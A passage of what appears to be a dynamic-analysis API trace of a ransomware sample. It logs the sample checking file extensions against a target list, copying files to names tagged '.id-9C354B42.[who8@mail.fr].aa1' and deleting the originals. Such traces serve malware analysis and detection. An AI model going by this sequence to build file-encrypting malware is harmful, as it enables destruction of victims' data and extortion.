Tag\\LISTS\\1033\\STOCKS.XML.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.509] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\stocks.xml")) returned 1 [0214.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.510] lstrlenW (lpString=".doc") returned 4 [0214.510] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.510] lstrlenW (lpString=".docx") returned 5 [0214.510] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0214.510] lstrlenW (lpString=".pdf") returned 4 [0214.510] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.510] lstrlenW (lpString=".xls") returned 4 [0214.510] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.510] lstrlenW (lpString=".xlsx") returned 5 [0214.510] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0214.510] lstrlenW (lpString=".ppt") returned 4 [0214.510] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.510] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.510] lstrlenW (lpString=".zip") returned 4 [0214.510] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.510] lstrlenW (lpString=".rar") returned 4 [0214.510] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.510] lstrlenW (lpString=".bz2") returned 4 [0214.510] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.511] lstrlenW (lpString=".7z") returned 3 [0214.511] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.511] lstrlenW (lpString=".dbf") returned 4 [0214.511] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.511] lstrlenW (lpString=".1cd") returned 4 [0214.511] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.511] lstrlenW (lpString=".jpg") returned 4 [0214.511] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.511] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.511] lstrlenW (lpString=".doc") returned 4 [0214.511] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0214.511] lstrlenW (lpString=".docx") returned 5 [0214.511] lstrcmpiW (lpString1=".docx", lpString2="S.XML") returned -1 [0214.511] lstrlenW (lpString=".pdf") returned 4 [0214.511] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0214.511] lstrlenW (lpString=".xls") returned 4 [0214.511] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0214.511] lstrlenW (lpString=".xlsx") returned 5 [0214.511] lstrcmpiW (lpString1=".xlsx", lpString2="S.XML") returned -1 [0214.511] lstrlenW (lpString=".ppt") returned 4 [0214.512] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0214.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.512] lstrlenW (lpString=".zip") returned 4 [0214.512] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0214.512] lstrlenW (lpString=".rar") returned 4 [0214.512] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0214.512] lstrlenW (lpString=".bz2") returned 4 [0214.512] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0214.512] lstrlenW (lpString=".7z") returned 3 [0214.512] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0214.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.512] lstrlenW (lpString=".dbf") returned 4 [0214.512] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0214.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.512] lstrlenW (lpString=".1cd") returned 4 [0214.512] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0214.512] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\STOCKS.XML") returned 78 [0214.512] lstrlenW (lpString=".jpg") returned 4 [0214.512] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0214.512] lstrcmpiW (lpString1=".XSL", lpString2=".aa1") returned 1 [0214.513] lstrlenW (lpString="BASMLA.XSL") returned 10 [0214.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0214.527] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=227311) returned 1 [0214.527] CloseHandle (hObject=0x1f4) returned 1 [0214.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 0x20 [0214.527] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0214.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0214.527] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.527] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.527] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0214.528] GetLastError () returned 0x0 [0214.528] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x377ef, lpOverlapped=0x0) returned 1 [0214.588] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0x377f0, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0x377f0, lpOverlapped=0x0) returned 1 [0214.592] ReadFile (in: hFile=0x1f4, lpBuffer=0x3520020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x239fed4, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesRead=0x239fed4*=0x0, lpOverlapped=0x0) returned 1 [0214.593] WriteFile (in: hFile=0x1e4, lpBuffer=0x3520020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x239fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3520020*, lpNumberOfBytesWritten=0x239fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0214.593] SetEndOfFile (hFile=0x1e4) returned 1 [0214.593] CloseHandle (hObject=0x1e4) returned 1 [0214.593] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x239fec8 | out: lpNewFilePointer=0x0) returned 1 [0214.593] SetEndOfFile (hFile=0x1f4) returned 1 [0214.595] CloseHandle (hObject=0x1f4) returned 1 [0214.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0214.596] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\basmla.xsl")) returned 1 [0214.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.596] lstrlenW (lpString=".doc") returned 4 [0214.596] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0214.596] lstrlenW (lpString=".docx") returned 5 [0214.596] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0214.596] lstrlenW (lpString=".pdf") returned 4 [0214.596] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0214.596] lstrlenW (lpString=".xls") returned 4 [0214.596] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0214.596] lstrlenW (lpString=".xlsx") returned 5 [0214.596] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0214.596] lstrlenW (lpString=".ppt") returned 4 [0214.596] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0214.596] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.597] lstrlenW (lpString=".zip") returned 4 [0214.597] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0214.597] lstrlenW (lpString=".rar") returned 4 [0214.597] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0214.597] lstrlenW (lpString=".bz2") returned 4 [0214.597] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0214.597] lstrlenW (lpString=".7z") returned 3 [0214.597] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0214.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.597] lstrlenW (lpString=".dbf") returned 4 [0214.597] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0214.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.597] lstrlenW (lpString=".1cd") returned 4 [0214.597] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0214.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.597] lstrlenW (lpString=".jpg") returned 4 [0214.597] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0214.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.597] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.597] lstrlenW (lpString=".doc") returned 4 [0214.597] lstrcmpiW (lpString1=".doc", lpString2=".XSL") returned -1 [0214.597] lstrlenW (lpString=".docx") returned 5 [0214.597] lstrcmpiW (lpString1=".docx", lpString2="A.XSL") returned -1 [0214.597] lstrlenW (lpString=".pdf") returned 4 [0214.597] lstrcmpiW (lpString1=".pdf", lpString2=".XSL") returned -1 [0214.597] lstrlenW (lpString=".xls") returned 4 [0214.598] lstrcmpiW (lpString1=".xls", lpString2=".XSL") returned -1 [0214.598] lstrlenW (lpString=".xlsx") returned 5 [0214.598] lstrcmpiW (lpString1=".xlsx", lpString2="A.XSL") returned -1 [0214.598] lstrlenW (lpString=".ppt") returned 4 [0214.598] lstrcmpiW (lpString1=".ppt", lpString2=".XSL") returned -1 [0214.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.598] lstrlenW (lpString=".zip") returned 4 [0214.598] lstrcmpiW (lpString1=".zip", lpString2=".XSL") returned 1 [0214.598] lstrlenW (lpString=".rar") returned 4 [0214.598] lstrcmpiW (lpString1=".rar", lpString2=".XSL") returned -1 [0214.598] lstrlenW (lpString=".bz2") returned 4 [0214.598] lstrcmpiW (lpString1=".bz2", lpString2=".XSL") returned -1 [0214.598] lstrlenW (lpString=".7z") returned 3 [0214.598] lstrcmpiW (lpString1=".7z", lpString2="XSL") returned -1 [0214.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.598] lstrlenW (lpString=".dbf") returned 4 [0214.598] lstrcmpiW (lpString1=".dbf", lpString2=".XSL") returned -1 [0214.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.598] lstrlenW (lpString=".1cd") returned 4 [0214.598] lstrcmpiW (lpString1=".1cd", lpString2=".XSL") returned -1 [0214.598] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\BASMLA.XSL") returned 73 [0214.598] lstrlenW (lpString=".jpg") returned 4 [0214.598] lstrcmpiW (lpString1=".jpg", lpString2=".XSL") returned -1 [0214.599] lstrcmpiW (lpString1=".jpg", lpString2=".aa1") returned 1 [0214.599] lstrlenW (lpString="Bears.jpg") returned 9 [0214.599] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.028] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=1074) returned 1 [0215.028] CloseHandle (hObject=0x178) returned 1 [0215.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg")) returned 0x20 [0215.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.029] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\bears.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.029] lstrlenW (lpString=".doc") returned 4 [0215.029] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0215.029] lstrlenW (lpString=".docx") returned 5 [0215.029] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0215.029] lstrlenW (lpString=".pdf") returned 4 [0215.029] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0215.029] lstrlenW (lpString=".xls") returned 4 [0215.029] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0215.029] lstrlenW (lpString=".xlsx") returned 5 [0215.029] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0215.029] lstrlenW (lpString=".ppt") returned 4 [0215.029] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0215.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.029] lstrlenW (lpString=".zip") returned 4 [0215.029] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0215.029] lstrlenW (lpString=".rar") returned 4 [0215.029] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0215.029] lstrlenW (lpString=".bz2") returned 4 [0215.029] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0215.029] lstrlenW (lpString=".7z") returned 3 [0215.029] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0215.029] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.029] lstrlenW (lpString=".dbf") returned 4 [0215.029] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0215.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.030] lstrlenW (lpString=".1cd") returned 4 [0215.030] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0215.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.030] lstrlenW (lpString=".jpg") returned 4 [0215.030] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0215.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.030] lstrlenW (lpString=".doc") returned 4 [0215.030] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0215.030] lstrlenW (lpString=".docx") returned 5 [0215.030] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0215.030] lstrlenW (lpString=".pdf") returned 4 [0215.030] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0215.030] lstrlenW (lpString=".xls") returned 4 [0215.030] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0215.030] lstrlenW (lpString=".xlsx") returned 5 [0215.030] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0215.030] lstrlenW (lpString=".ppt") returned 4 [0215.030] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0215.030] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.030] lstrlenW (lpString=".zip") returned 4 [0215.030] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0215.030] lstrlenW (lpString=".rar") returned 4 [0215.030] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0215.030] lstrlenW (lpString=".bz2") returned 4 [0215.030] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0215.030] lstrlenW (lpString=".7z") returned 3 [0215.031] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.031] lstrlenW (lpString=".dbf") returned 4 [0215.031] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.031] lstrlenW (lpString=".1cd") returned 4 [0215.031] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0215.031] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67 [0215.031] lstrlenW (lpString=".jpg") returned 4 [0215.031] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0215.031] lstrcmpiW (lpString1=".gif", lpString2=".aa1") returned 1 [0215.031] lstrlenW (lpString="Connectivity.gif") returned 16 [0215.031] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.031] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=2319) returned 1 [0215.031] CloseHandle (hObject=0x178) returned 1 [0215.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif")) returned 0x20 [0215.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.032] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\connectivity.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0215.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.032] lstrlenW (lpString=".doc") returned 4 [0215.032] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0215.032] lstrlenW (lpString=".docx") returned 5 [0215.032] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0215.032] lstrlenW (lpString=".pdf") returned 4 [0215.032] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0215.032] lstrlenW (lpString=".xls") returned 4 [0215.032] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0215.032] lstrlenW (lpString=".xlsx") returned 5 [0215.032] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0215.032] lstrlenW (lpString=".ppt") returned 4 [0215.032] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0215.032] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.032] lstrlenW (lpString=".zip") returned 4 [0215.032] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0215.032] lstrlenW (lpString=".rar") returned 4 [0215.032] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0215.032] lstrlenW (lpString=".bz2") returned 4 [0215.032] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0215.032] lstrlenW (lpString=".7z") returned 3 [0215.033] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0215.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.033] lstrlenW (lpString=".dbf") returned 4 [0215.033] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0215.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.033] lstrlenW (lpString=".1cd") returned 4 [0215.033] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0215.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.033] lstrlenW (lpString=".jpg") returned 4 [0215.033] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0215.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.033] lstrlenW (lpString=".doc") returned 4 [0215.033] lstrcmpiW (lpString1=".doc", lpString2=".gif") returned -1 [0215.033] lstrlenW (lpString=".docx") returned 5 [0215.033] lstrcmpiW (lpString1=".docx", lpString2="y.gif") returned -1 [0215.033] lstrlenW (lpString=".pdf") returned 4 [0215.033] lstrcmpiW (lpString1=".pdf", lpString2=".gif") returned 1 [0215.033] lstrlenW (lpString=".xls") returned 4 [0215.033] lstrcmpiW (lpString1=".xls", lpString2=".gif") returned 1 [0215.033] lstrlenW (lpString=".xlsx") returned 5 [0215.033] lstrcmpiW (lpString1=".xlsx", lpString2="y.gif") returned -1 [0215.033] lstrlenW (lpString=".ppt") returned 4 [0215.033] lstrcmpiW (lpString1=".ppt", lpString2=".gif") returned 1 [0215.033] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.033] lstrlenW (lpString=".zip") returned 4 [0215.033] lstrcmpiW (lpString1=".zip", lpString2=".gif") returned 1 [0215.033] lstrlenW (lpString=".rar") returned 4 [0215.033] lstrcmpiW (lpString1=".rar", lpString2=".gif") returned 1 [0215.034] lstrlenW (lpString=".bz2") returned 4 [0215.034] lstrcmpiW (lpString1=".bz2", lpString2=".gif") returned -1 [0215.034] lstrlenW (lpString=".7z") returned 3 [0215.034] lstrcmpiW (lpString1=".7z", lpString2="gif") returned -1 [0215.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.034] lstrlenW (lpString=".dbf") returned 4 [0215.034] lstrcmpiW (lpString1=".dbf", lpString2=".gif") returned -1 [0215.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.034] lstrlenW (lpString=".1cd") returned 4 [0215.034] lstrcmpiW (lpString1=".1cd", lpString2=".gif") returned -1 [0215.034] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Connectivity.gif") returned 74 [0215.034] lstrlenW (lpString=".jpg") returned 4 [0215.034] lstrcmpiW (lpString1=".jpg", lpString2=".gif") returned 1 [0215.034] lstrcmpiW (lpString1=".ini", lpString2=".aa1") returned 1 [0215.034] lstrlenW (lpString="Desktop.ini") returned 11 [0215.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0215.034] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x239ff1c | out: lpFileSize=0x239ff1c*=645) returned 1 [0215.035] CloseHandle (hObject=0x178) returned 1 [0215.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini")) returned 0x26 [0215.035] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\desktop.ini.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0215.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Desktop.ini" (normalized: "c:\\program files\\common files\\microsoft 